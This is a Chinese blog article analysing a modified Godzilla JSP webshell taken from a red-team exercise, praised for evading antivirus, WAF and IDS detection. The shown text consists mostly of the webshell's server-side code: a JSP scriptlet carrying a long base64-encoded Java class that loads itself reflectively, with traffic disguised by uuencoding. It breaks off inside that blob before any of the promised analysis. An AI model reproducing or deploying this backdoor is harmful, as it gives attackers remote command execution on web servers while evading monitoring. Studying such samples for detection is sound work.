实战分析某红队魔改哥斯拉Webshell 实战分析某红队魔改哥斯拉Webshell

实战分析某红队魔改哥斯拉Webshell

0x01 前言

前两天从某次演习中拿到了一个webshell样本,该webshell通信未产生相关任何告警,因此该样本在免杀以及bypass相关waf和ids设备上是非常值得学习的,分析过程中不难发现其实这个就是一个魔改的Godzilla,其魔改的思路比较出奇,并且其免杀做的很到位。

为什么说这个webshell是魔改的哥斯拉呢,我这边看其对流量的格式化处理和命令执行的方式和哥斯拉都是比较相似的,推断这个是一个魔改之后哥斯拉,详情见下文。

此文主要内容:

基于获取到的webshell,展开以下的研究

​ 1、该webshell免杀思路;

​ 2、刨析该webshell命令执行的实现;

​ 3、该webshell的通信流量bypass Waf和IDS设备的方式;

​ 4、针对这次出现的这个webshell的总结思考(最重要!)

0x02 分析研究

1、免杀实现

我们先来看看这款魔改的webshell的服务端的代码实现:

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
<jsp:scriptlet><![CDATA[
try{
if (session.getAttribute("ti")==null)
{
String ti="yv66vgAAADICDwoArQErBwEsCgACASsJAJwBLQoArQEuCgCtAS8IATAKAJwBMQgBMgoAZQEzBwEZCgAYATQKATUBNgcAtgoAGAE3BwEaCgE1ATgIATkKACQBOgcBOwgBPAkAnAE9CgACAT4HAT8JAJwBQAoAGAFBCgBlAUIKAGUBQwgBRAgBRQgBRggBRwgBSAgBSQgBSgcBSwkAnAFMCgAkAU0IAU4IAU8KACQBUAgBUQgBUggBUwgBVAgA/wgBVQgBVggBVwgBWAgBWQgAwwgBWggBWwgBXAgA8AgBXQgBXggBXwoAJAFgCAFhCAFiCAFjCAFkBwFlCgBBASsKAEEBZgoAQQFDCgCcAWcKAJwBaAoAJAFpCgCcAWoHAWsKAEkBTQcBbAoASwErCgBJAW0KAEsBbgoASQFuCgBLAW8KAEkBcAoAnAFxCgBJAXIKAAIBcwoASwF0CgBLAXUIAXYKAXcBeAoBeQF6CgF5AXAKACQBewoAnAF8CgCcAX0JAJwBfgoAnAF/CACwCgCcAYAKAJwBgQkAnAGCCAGDBwGECAGFCgCcAYYIALMIALEJAJwBhwgAtAgBiAoAnAGJCAGKCAGLBwGMCAGNCAGOCgCcAY8KAAIBkAgBkQoAJAFCCgCcAZIKAJwBkwoASwGUBwGVCgB6AZYKAHoBlAoAegFuBwGXCgB+AZgKAZkBmgoAigGbCgAkASsKAIoBnAgBnQoBmQGeCgGfAaAIAaEKAJwBoggBowcBpAoAigGlCgCKAaYKAEEBpwgBqAgBqQgBqgoBmQGrCAGsCAGtCAGuCgAkAa8KACQBsAkAigGxCAGyCAGzCgCcAbQIAbUHAbYKABgBtwoAnAEuCgCcAbgKABQBuQgBugoAGAG7CgE1AbwKABgBvQgBvgoAGAG/CAHACAHBCAHCCAHDCAHECAHFBwHGAQAMcGFyYW1ldGVyTWFwAQATTGphdmEvdXRpbC9IYXNoTWFwOwEACnNlc3Npb25NYXABAA5zZXJ2bGV0Q29udGV4dAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADnNlcnZsZXRSZXF1ZXN0AQALaHR0cFNlc3Npb24BAAtyZXF1ZXN0RGF0YQEAAltCAQAMb3V0cHV0U3RyZWFtAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQALTFNpbXBsZVZlcjsBABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEABHZhcjEBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAAWcBABUoW0IpTGphdmEvbGFuZy9DbGFzczsBAANydW4BAAQoKVtCAQAFdmFyMTABABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEABHZhcjgBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR2YXI2AQAEdmFyNwEABHZhcjUBABFMamF2YS9sYW5nL0NsYXNzOwEABHZhcjkBABJMamF2YS9sYW5nL1N0cmluZzsBAAR2YXIyAQANU3RhY2tNYXBUYWJsZQcBSwcBxwcBtgcBOwcBPwcBhAEAD2Zvcm1hdFBhcmFtZXRlcgEABXZhcjE1AQABSQEABXZhcjExAQABQgEABXZhcjE2AQAHdXVfaGVhZAEAB3V1X2Zvb3QBAAh0b2RlY29kZQEABnV1X3RtcAEAHkxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtOwEABHZhcjMBAAR2YXI0BwFrBwFsAQAIVXVkZWNvZGUBAAYoW0IpW0IBAAtpbnB1dFN0cmVhbQEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEABWJ5dGVzAQAKRXhjZXB0aW9ucwEACmRlbGV0ZVplcm8BABYoW0IpTGphdmEvbGFuZy9TdHJpbmc7AQABaQEACHRvZGVsZXRlAQAGbGVuZ3RoAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAGaGFuZGxlAQAUaGFuZGxlUGF5bG9hZENvbnRleHQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVYBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGZG9jeF9oAQAJb3JpZ2VucmVzAQAFZ3ppcEUBABBnemlwT3V0cHV0U3RyZWFtAQAgTGphdmEvdXRpbC96aXAvR1pJUE91dHB1dFN0cmVhbTsBAAFlAQAEZGF0YQEACmJ5dGVNZXJnZXIBAAgoW0JbQilbQgEAA2J0MQEAA2J0MgEAA2J0MwEAA2dldAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAMZ2V0Qnl0ZUFycmF5AQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEADGxpc3RGaWxlUm9vdAEAD1tMamF2YS9pby9GaWxlOwcBCwEAE2dldFNlc3Npb25BdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEAE3NldFNlc3Npb25BdHRyaWJ1dGUBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9PYmplY3Q7KVYBAA1nZXRCYXNpY3NJbmZvAQABQwEAF0xqYXZhL3V0aWwvRW51bWVyYXRpb247BwHIAQAHaW5jbHVkZQcBOwEAEmdldE1ldGhvZEFuZEludm9rZQEAXShMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzcztbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAEltMamF2YS9sYW5nL0NsYXNzOwEAE1tMamF2YS9sYW5nL09iamVjdDsBABBnZXRNZXRob2RCeUNsYXNzAQBRKExqYXZhL2xhbmcvQ2xhc3M7TGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAKYnl0ZXNUb0ludAEABShbQilJAQAEdmFyMAEADGJhc2U2NERlY29kZQEAAXoBAAJ6egEAA3p6ZAEACWV4Y2VwdGlvbgEAAmJzAQAFdmFsdWUBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQAUTGphdmEvbGFuZy9DbGFzczwqPjsBAApTb3VyY2VGaWxlAQAOU2ltcGxlVmVyLmphdmEMALkAugEAEWphdmEvdXRpbC9IYXNoTWFwDACuAK8MALkAwAwByQHKAQANZXZhbENsYXNzTmFtZQwBBgEHAQAKbWV0aG9kTmFtZQwBywHMDAHNAc4HAccMAc8BzAwB0AHRDAHSAdMBACR0aGlzIG1ldGhvZCByZXR1cm5UeXBlIG5vdCBpcyBieXRlW10MAdQAxgEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAVlcnJvcgwAsACvDAEGAdUBAA9qYXZhL2xhbmcvQ2xhc3MMALQAsgwB1gHXDADzAPQMAPgA+QEABnJlc3VsdAEADnJldHVybiB0eXBlRXJyAQARZXZhbENsYXNzIGlzIG51bGwBAARudWxsAQAObWV0aG9kIGlzIG51bGwBABZiZWdpbiA2NDQgZW5jb2Rlci5idWYKAQAGIAplbmQKAQAQamF2YS9sYW5nL1N0cmluZwwAtQC2DAC5AdgBAAFiAQABCgwB2QHaAQABYQEAAT0BAAFjAQABJgEAAScBAAFkAQABIgEAAWYBAAE8AQABPgEAAWgBAAE7AQABOgEAAWoBAAEkDAHbAdwBAAFrAQABJQEAAWwBAAFeAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAd0B3gwA6ADpDADuAO8MAd8B4AwBIAEJAQAcamF2YS9pby9CeXRlQXJyYXlJbnB1dFN0cmVhbQEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDAHhAeIMAeMAugwB5ADGDAHhAR4MAR0BHgwB4QHlDAHmAecMAegAugwB6QHqAQAIdXVlbmNvZGUHAesMAcMB7AcB7QwB7gHiDAC5Ae8MAPUA9AwA2QC6DAC3ALgMAPYA9wwBDQEODAEPARAMALMAsgEADGdldEF0dHJpYnV0ZQEAEGphdmEvbGFuZy9PYmplY3QBAApwYXJhbWV0ZXJzDAEXARgMALEAsgEACmdldFJlcXVlc3QMARsBHAEAEWdldFNlcnZsZXRDb250ZXh0AQAKZ2V0U2Vzc2lvbgEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAAABAAxldmFsTmV4dERhdGEMAMUAxgwB8AC6AQACb2sMAPwA6QwBAQECDAHpAdgBAB5qYXZhL3V0aWwvemlwL0daSVBPdXRwdXRTdHJlYW0MALkB8QEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAC5AfIHAfMMAfQB9QwB9gH3DAH4APkBAAxzZXRBdHRyaWJ1dGUMAfkB+gcB+wwB/AH9AQALRmlsZVJvb3QgOiAMAQoA+QEADUN1cnJlbnREaXIgOiABAAxqYXZhL2lvL0ZpbGUMALkB/gwB/wIADAHdAgEBAAIvCgEADkN1cnJlbnRVc2VyIDogAQAJdXNlci5uYW1lDAICAQcBAA5Qcm9jZXNzQXJjaCA6IAEAE3N1bi5hcmNoLmRhdGEubW9kZWwBAA5qYXZhLmlvLnRtcGRpcgwA8gHiDAIDAgQMAgUA0AEAEFRlbXBEaXJlY3RvcnkgOiABAAdiaW5Db2RlDAEIAQkBAAhjb2RlTmFtZQEACVNpbXBsZVZlcgwCBgIHDADDAMQMAggA+QEAHU5vIHBhcmFtZXRlciBiaW5Db2RlLGNvZGVOYW1lDAIJAc4MAgoCCwwCDAHMAQA1Y29tLnN1bi5vcmcuYXBhY2hlLnhtbC5pbnRlcm5hbC5zZWN1cml0eS51dGlscy5CYXNlNjQMAg0CDgEAB2RlY29kZXIBABBqYXZhLnV0aWwuQmFzZTY0AQAKZ2V0RGVjb2RlcgEABmRlY29kZQEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIBAAxkZWNvZGVCdWZmZXIBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABVqYXZhL3V0aWwvRW51bWVyYXRpb24BAAtkZWZpbmVDbGFzcwEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEADWdldFJldHVyblR5cGUBABBpc0Fzc2lnbmFibGVGcm9tAQAUKExqYXZhL2xhbmcvQ2xhc3M7KVoBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAhnZXRCeXRlcwEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEABShbQilWAQAKcmVwbGFjZUFsbAEAOChMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAHcmVwbGFjZQEARChMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTtMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAJc3Vic3RyaW5nAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQAEcmVhZAEAAygpSQEABWNsb3NlAQALdG9CeXRlQXJyYXkBAAcoW0JJSSlJAQADcHV0AQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAVyZXNldAEABXdyaXRlAQAEKEkpVgEAR2NvbS9zdW4veG1sL2ludGVybmFsL21lc3NhZ2luZy9zYWFqL3BhY2thZ2luZy9taW1lL2ludGVybmV0L01pbWVVdGlsaXR5AQA+KExqYXZhL2lvL0lucHV0U3RyZWFtO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9pby9JbnB1dFN0cmVhbTsBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAJYXZhaWxhYmxlAQAHKFtCSUkpVgEABWNsZWFyAQAZKExqYXZhL2lvL091dHB1dFN0cmVhbTspVgEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEAEGphdmEvbGFuZy9TeXN0ZW0BAAlhcnJheWNvcHkBACooTGphdmEvbGFuZy9PYmplY3Q7SUxqYXZhL2xhbmcvT2JqZWN0O0lJKVYBAAlsaXN0Um9vdHMBABEoKVtMamF2YS9pby9GaWxlOwEAB2dldFBhdGgBAA1nZXRQcm9wZXJ0aWVzAQAYKClMamF2YS91dGlsL1Byb3BlcnRpZXM7AQAUamF2YS91dGlsL1Byb3BlcnRpZXMBAARrZXlzAQAZKClMamF2YS91dGlsL0VudW1lcmF0aW9uOwEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAD2dldEFic29sdXRlRmlsZQEAECgpTGphdmEvaW8vRmlsZTsBAC0oTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAtnZXRQcm9wZXJ0eQEABmNoYXJBdAEABChJKUMBAAlzZXBhcmF0b3IBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAApnZXRNZXNzYWdlAQARZ2V0RGVjbGFyZWRNZXRob2QBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEADWdldFN1cGVyY2xhc3MBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwAhAJwArQAAAAcAAACuAK8AAAAAALAArwAAAAAAsQCyAAAAAACzALIAAAAAALQAsgAAAAAAtQC2AAAAAAC3ALgAAAAYAAEAuQC6AAEAuwAAAEIAAwABAAAAECq3AAEquwACWbcAA7UABLEAAAACALwAAAAOAAMAAAATAAQADAAPABQAvQAAAAwAAQAAABAAvgC/AAAAAQC5AMAAAQC7AAAATQADAAIAAAARKiu3AAUquwACWbcAA7UABLEAAAACALwAAAAOAAMAAAAWAAUADAAQABcAvQAAABYAAgAAABEAvgC/AAAAAAARAMEAwgABAAEAwwDEAAEAuwAAAD0ABAACAAAACSorAyu+twAGsAAAAAIAvAAAAAYAAQAAABoAvQAAABYAAgAAAAkAvgC/AAAAAAAJAMEAtgABAAEAxQDGAAEAuwAAAicAAwAGAAAA3ioSB7YACEwqEgm2AAhNLMYAySvHAEIqtgAKLAHAAAu2AAxOLbYADRMADrYAD5kAGy0qAcAAELYAEcAADsAADsAADsAADqcACBIStgATsE4SFbYAE7AqtAAWK7YAF8AAGE4txwAWKrQAGcYADyq0ABYrtgAXwAAYTi3GAFIttgAaOgQZBCq0AAS2ABtXGQS2ABxXKrQABBIdtgAXOgUZBcYAKBMADhkFtgAKtgAPmQAUGQXAAA7AAA7AAA7AAA6nAAgSHrYAE7ADvAiwEh+2ABOwThIgtgATsBIhtgATsAAEABYATQBOABQAVQDGANEAFADHAMoA0QAUAMsA0ADRABQAAwC8AAAAXgAXAAAAHgAHAB8ADgAgABIAIQAWACMAIwAkAE4AJQBPACYAVQAqAGEAKwBsACwAeAAvAHwAMACCADEAjAAyAJIAMwCdADQAogA1AMcANwDLADoA0QA8ANIAPQDYAEEAvQAAAFwACQAjACsAxwDIAAMATwAGAMkAygADAIIASQDLALIABACdAC4AzACyAAUAYQBwAM0AzgADANIABgDPAMoAAwAAAN4AvgC/AAAABwDXAMEA0AABAA4A0ADRANAAAgDSAAAAUQAL/gBIBwDTBwDTBwDURAcADv8AAAADBwDVBwDTBwDTAAEHANYG/AAiBwDX/QBIBwDYBwDYRAcADgD5AAP/AAUAAwcA1QcA0wcA0wABBwDWBgABANkAugABALsAAAMYAAYADgAAAVMSIkwSI027ACRZKrQAJbcAJk4tEicSKLYAKRIqEiu2ACkSLBIttgApEi4SL7YAKRIwEjG2ACkSMhIztgApEjQSNbYAKRI2Eje2ACkSOBI5tgApEjoSO7YAPBI9Ej62ACkSPxJAtgA8TrsAQVm3AEIrtgBDLbYAQyy2AEO2AEROAToEAToFLbYAE7gARToFGQW4AEa2ABM6BbsAJFkZBbcAJhANtgBHuABIOgSnAAU6BrsASVkZBLcASjoGuwBLWbcATDoHAToIB7wIOgkBOgoZBrYATZE2CxULAqAADhkHtgBOGQa2AE+xFQsFoABbuwAkWRkHtgBQtwAmOggZBhkJtgBRVxkJuABSNgwVDLwIOgoDNg0VDRkGGQoVDRkKvhUNZLYAU2BZNg0ZCr6iAAan/+UqtAAEGQgZCrYAVFcZB7YAVacAChkHFQu2AFan/4I6C7EAAwCFAKsArgAUAM8A5wFQABQA6AFQAVAAFAADALwAAACSACQAAABGAAMARwAGAEgAEgBJAGgASgB/AEsAggBMAIUATgCOAE8AmABQAKsAUgCuAFEAsABUALsAVQDEAFYAxwBXAMwAWADPAF0A1wBeAN0AXwDiAGAA5wBhAOgAZADuAGUA/ABmAQQAZwELAGgBEQBpARQAawEyAG4BPgBvAUMAcAFGAHEBTQBzAVAAdQFSAHcAvQAAAKIAEACwAAAA2gDKAAYBCwA4AM8A2wAMARQALwDcANsADQDXAHYAyQDdAAsBUgAAAN4AygALAAABUwC+AL8AAAADAVAA3wDQAAEABgFNAOAA0AACABIBQQDhANAAAwCCANEAwQC2AAQAhQDOAOIAtgAFALsAmADRAOMABgDEAI8A5AC4AAcAxwCMAOUA0AAIAMwAhwDNALYACQDPAIQAxwC2AAoA0gAAAFsACf8ArgAGBwDVBwDTBwDTBwDTBwAOBwAOAAEHANYB/wAeAAsHANUHANMHANMHANMHAA4HAA4HAOYHAOcHANMHAA4HAA4AAPwAGAH9ACsBAR35ABP6AAZCBwDWAAkA6ADpAAIAuwAAAG0AAwADAAAAH7sASVkqtwBKTCsSV7gAWEwrtgBZvAhNKyy2AFpXLLAAAAACALwAAAAWAAUAAAB6AAkAewAQAHwAFwB9AB0AfgC9AAAAIAADAAAAHwDhALYAAAAJABYA6gDrAAEAFwAIAOwAtgACAO0AAAAEAAEAFAAJAO4A7wACALsAAACNAAUAAwAAACYDPAM9HCq+ogAUKhwzmgAIHDynAAmEAgGn/+y7ACRZKgMbtwBbsAAAAAMAvAAAAB4ABwAAAIIAAgCEAAoAhQAQAIYAEgCHABUAhAAbAIoAvQAAACAAAwAEABcA8ADbAAIAAAAmAPEAtgAAAAIAJADyANsAAQDSAAAACwAD/QAEAQEQ+gAFAO0AAAAEAAEAFAABAPMA9AABALsAAABdAAIAAgAAABQrxgARKiu2AFyZAAkqtgBdBKwDrAAAAAMAvAAAABIABAAAAI4ADACPABAAkAASAJIAvQAAABYAAgAAABQAvgC/AAAAAAAUAMEAsgABANIAAAADAAESAAEA9QD0AAEAuwAAAWgACAADAAAA1BMASyu2AAq2AA+ZAA0qK8AAS7UAXgOsKiu3AF8qEmC2AGHGABMqKhJgtgBhwAACtQAWpwAYKrsAAlm3AAO1ABYqEmAqtAAWtgBiKrQAY8YATCoqtABjEmQEvQAYWQMTACRTBL0AZVkDEmZTtgBnTSzGACoTAA4stgAKtgAPmQAdKizAAA7AAA7AAA7AAA61ACUqtAAlxwAFA6wqtAAEEmAqtAAWtgBUVyq0AAQSaCq0AGO2AFRXKrQABBJpKrQAarYAVFcqtAAEEmsqtAAZtgBUVwSsAAAAAwC8AAAATgATAAAAlgANAJcAFQCYABcAmgAcAJsAJQCcADUAngBAAJ8ASgCiAFEAowBvAKQAgAClAJEApgCYAKcAmgCrAKgArAC2AK0AxACuANIArwC9AAAAIAADAG8AKwDRALIAAgAAANQAvgC/AAAAAADUAMEAsgABANIAAAAIAAQXHRT7AE8AAgD2APcAAQC7AAABQwAEAAUAAACNKiu2AAoSbAHAAAu2AG1NKiu2AAoSbgHAAAu2AG1OKiu2AAoSbwHAAAu2AG06BCzGABcqtABjxwAQKiwrAcAAELYAEbUAYyzHAA8rwQBwmQAIKiu1AGMtxgAXKrQAascAECotKwHAABC2ABG1AGoZBMYAGCq0ABnHABEqGQQrAcAAELYAEbUAGacABE2xAAEAAACIAIsAFAADALwAAAA6AA4AAAC0AA8AtQAeALYALgC3ADkAuABGALoAUQC8AFYAvgBhAL8AbgDBAHoAwgCIAMUAiwDEAIwAxwC9AAAAPgAGAA8AeQDRAMgAAgAeAGoA5ADIAAMALgBaAOUAyAAEAIwAAADNAMoAAgAAAI0AvgC/AAAAAACNAMEAsgABANIAAAAYAAb+AEYHANQHANQHANQPF/gAGUIHANYAAAEA+AD5AAEAuwAAAekABAAFAAAA9BJxTCq0AF7HAA27AEtZtwBMpwAHKrQAXk0qtAAEEnK2ABfGAFYqtgBzVyoqtAAEEnK2ABfAAA7AAA7AAA7AAA61ACUqtAAEtgB0KrQABBJrKrQAGbYAVFcqtAAEEmgqtABjtgBUVyq0AAQSaSq0AGq2AFRXKrYAXSq2AHNOuwAkWS23ACYSdbYAdpkADBJxtgATTqcANy24AHdOEAe8CFkDEFBUWQQQS1RZBQZUWQYHVFkHEBRUWQgDVFkQBhAGVDoEKhkELbYAeE4sLbYAeSq0AF7HAAgScacABRJxTCy2AE4qAbUAJacABE0qtAAEtgB0K7AAAQADAOcA6gAUAAMAvAAAAGIAGAAAAMoAAwDMABkAzQAlAM4AKgDPAEMA0ABKANEAWADSAGYA0wB0ANQAeADXAH0A2ACNANoAlgDcAJsA3QDCAN4AygDgAM8A4QDeAOIA4gDjAOcA5QDqAOQA6wDnAPIA6AC9AAAAPgAGAMIACAD6ALYABAAZAM4A0QC4AAIAfQBqAPsAtgADAOsAAADlAMoAAgAAAPQAvgC/AAAAAwDxAMEA0AABANIAAAAvAAn8ABQHANNDBwDn/ABfBwDn/AAdBwAOMxBBBwDT/wAMAAIHANUHANMAAQcA1gAACQD8AOkAAQC7AAAAnQADAAMAAAApuwBLWbcATEy7AHpZK7cAe00sKrYAfCy2AH0rtgBQsEy7AH5ZK7cAf78AAQAAAB4AHwAUAAMAvAAAAB4ABwAAAO0ACADuABEA7wAWAPAAGgDxAB8A8gAgAPMAvQAAACoABAAIABcAtwC4AAEAEQAOAP0A/gACACAACQD/AMoAAQAAACkBAAC2AAAA0gAAAAYAAV8HANYAAQEBAQIAAQC7AAAAcQAFAAQAAAAdK74svmC8CE4rAy0DK764AIAsAy0rviy+uACALbAAAAACALwAAAASAAQAAAD4AAgA+QARAPoAGwD7AL0AAAAqAAQAAAAdAL4AvwAAAAAAHQEDALYAAQAAAB0BBAC2AAIACAAVAQUAtgADAAEBBgEHAAEAuwAAAHYABAADAAAAHLsAJFkqtAAEK7YAF8AADsAADsAADrcAJrBNAbAAAQAAABgAGQAUAAMAvAAAAA4AAwAAAQAAGQEBABoBAgC9AAAAIAADABoAAgDkAMoAAgAAABwAvgC/AAAAAAAcAMEA0AABANIAAAAGAAFZBwDWAAEBCAEJAAEAuwAAAHIAAgADAAAAGCq0AAQrtgAXwAAOwAAOwAAOwAAOsE0BsAABAAAAFAAVABQAAwC8AAAADgADAAABCAAVAQkAFgEKAL0AAAAgAAMAFgACAOQAygACAAAAGAC+AL8AAAAAABgAwQDQAAEA0gAAAAYAAVUHANYAAQEKAPkAAQC7AAAAvQADAAQAAABIuACBTLsAJFm3AIJNAz4dK76iADW7AEFZtwBCLLYAQysdMrYAg7YAQ7YARE27AEFZtwBCLLYAQxI3tgBDtgBETYQDAaf/yyywAAAAAwC8AAAAHgAHAAABDwAEARAADAESABQBEwAsARQAQAESAEYBFwC9AAAAKgAEAA4AOADkANsAAwAAAEgAvgC/AAAABABEAMEBCwABAAwAPADRANAAAgDSAAAADwAC/gAOBwEMBwDTAfoANwABAQ0BDgABALsAAABpAAgAAgAAACgqtAAZxgAiKiq0ABkSZAS9ABhZAxMAJFMEvQBlWQMrU7YAZ6cABAGwAAAAAwC8AAAABgABAAABGwC9AAAAFgACAAAAKAC+AL8AAAAAACgAwQDQAAEA0gAAAAcAAiZABwDYAAEBDwEQAAEAuwAAAH4ACAADAAAALyq0ABnGACoqKrQAGRKEBb0AGFkDEwAkU1kEEwBlUwW9AGVZAytTWQQsU7YAZ1exAAAAAwC8AAAADgADAAABHwAHASAALgEjAL0AAAAgAAMAAAAvAL4AvwAAAAAALwDBANAAAQAAAC8A0QCyAAIA0gAAAAMAAS4AAQERAMYAAQC7AAAB6gAEAAUAAAD7uACFtgCGTLsAJFm3AIJNuwBBWbcAQiy2AEMSh7YAQyq2AIi2AEMSKLYAQ7YARE27AEFZtwBCLLYAQxKJtgBDuwCKWRJxtwCLtgCMtgCNEo62AEO2AERNuwBBWbcAQiy2AEMSj7YAQxKQuACRtgBDEii2AEO2AERNuwBBWbcAQiy2AEMSkrYAQxKTuACRtgBDEii2AEO2AERNEpS4AJFOLS22AJUEZLYAljYEFQQQXJ8AHxUEEC+fABi7AEFZtwBCLbYAQ7IAl7YAQ7YARE67AEFZtwBCLLYAQxKYtgBDLbYAQxIotgBDtgBETacABE4stgATsEwSFbYAE7AAAgCZAOsA7gAUAAAA8wD0ABQAAwC8AAAAQgAQAAABJwAHASgADwEpAC8BKgBXASsAeAEsAJkBLwCfATAAqwExALkBMgDOATUA6wE3AO4BNgDvATkA9AE6APUBOwC9AAAASAAHAJ8ATADkANAAAwCrAEAA5QESAAQA7wAAAM0AygADAAcA7QDBARMAAQAPAOUA0QDQAAIA9QAGAMsAygABAAAA+wC+AL8AAADSAAAANwAE/wDOAAUHANUHARQHANMHANMBAAD/AB8AAwcA1QcBFAcA0wABBwDWAP8ABAABBwDVAAEHANYAAQEVAMYAAQC7AAABDwADAAUAAABfKhKZtgCaTCoSm7YACE0rxgBKLMYARrsAnFkqtgAKtgCdtwCeTi0rtgCfOgQqtAAWLBkEtgBUVxJ1tgATsE4qtAAWLLYAF8YACxJ1tgATpwAKLbYAoLYAE7ASobYAE7AAAQAWADwAPQAUAAMAvAAAACoACgAAAUAABwFBAA4BQgAWAUQAJQFFACwBRgA3AUcAPQFIAD4BSQBZAUwAvQAAAD4ABgAlABgA5AC/AAMALAARAOUAzgAEAD4AGwDNAMoAAwAAAF8AvgC/AAAABwBYAMEAtgABAA4AUQDRANAAAgDSAAAAIgAE/wA9AAMHANUHAA4HANMAAQcA1vwAEwcBFkYHAA76AAAAAAEXARgAAQC7AAAAsQAEAAYAAAAhKiu2AAosLbYAbToFGQXGAAwZBSsZBLYAEbCnAAU6BQGwAAEAAAAZAB0AFAADALwAAAAaAAYAAAFSAAwBUwARAVQAGgFXAB0BVgAfAVkAvQAAAEgABwAMAA4AzQDIAAUAHwAAAMsAygAFAAAAIQC+AL8AAAAAACEAwQCyAAEAAAAhANEA0AACAAAAIQDkARkAAwAAACEA5QEaAAQA0gAAAAgAAxpCBwDWAQAAARsBHAABALsAAADCAAMABgAAACcBOgQrxgAgKywttgCiOgQZBAS2AKMBTKf/7DoFK7YApEyn/+IZBLAAAQAHABcAGgAUAAMAvAAAACoACgAAAV0AAwFfAAcBYQAPAWIAFQFjABcBZgAaAWQAHAFlACEBZgAkAWkAvQAAAD4ABgAcAAUAywDKAAUAAAAnAL4AvwAAAAAAJwDBAM4AAQAAACcA0QDQAAIAAAAnAOQBGQADAAMAJADlAMgABADSAAAADQAD/AADBwDUVgcA1gkACQEdAR4AAQC7AAAAYwADAAIAAAArKgMzEQD/fioEMxEA/34QCHiAKgUzEQD/fhAQeIAqBjMRAP9+EBh4gDwbrAAAAAIAvAAAAAoAAgAAAW0AKQFuAL0AAAAWAAIAAAArAR8AtgAAACkAAgDBANsAAQAJASABCQACALsAAAGkAAYABQAAAKABTBKluACmTSwSpwS9ABhZAxMAJFO2AAwBBL0AZVkDKlO2ABHAAA7AAA5MpwBzTRKouACmTi0SqQG2AAwtAbYAEToEGQS2AAoSqgS9ABhZAxMAJFO2AAwZBAS9AGVZAypTtgARwAAOwAAOTKcAM04Sq7gApjoEGQQSrAS9ABhZAxMAJFO2AAwZBLYAGgS9AGVZAypTtgARwAAOwAAOTCuwAAIAAgArAC4AFAAvAGsAbgAUAAQAvAAAADYADQAAAXEAAgFzAAgBdAArAX8ALgF1AC8BdwA1AXgAQwF5AGsBfgBuAXsAbwF8AHYBfQCeAYAAvQAAAFIACAAIACMBIQDOAAIANQA2ASIAzgADAEMAKAEjALIABAB2ACgBIgDOAAQAbwAvASQAygADAC8AbwD/AMoAAgAAAKABJQDQAAAAAgCeASYAtgABAScAA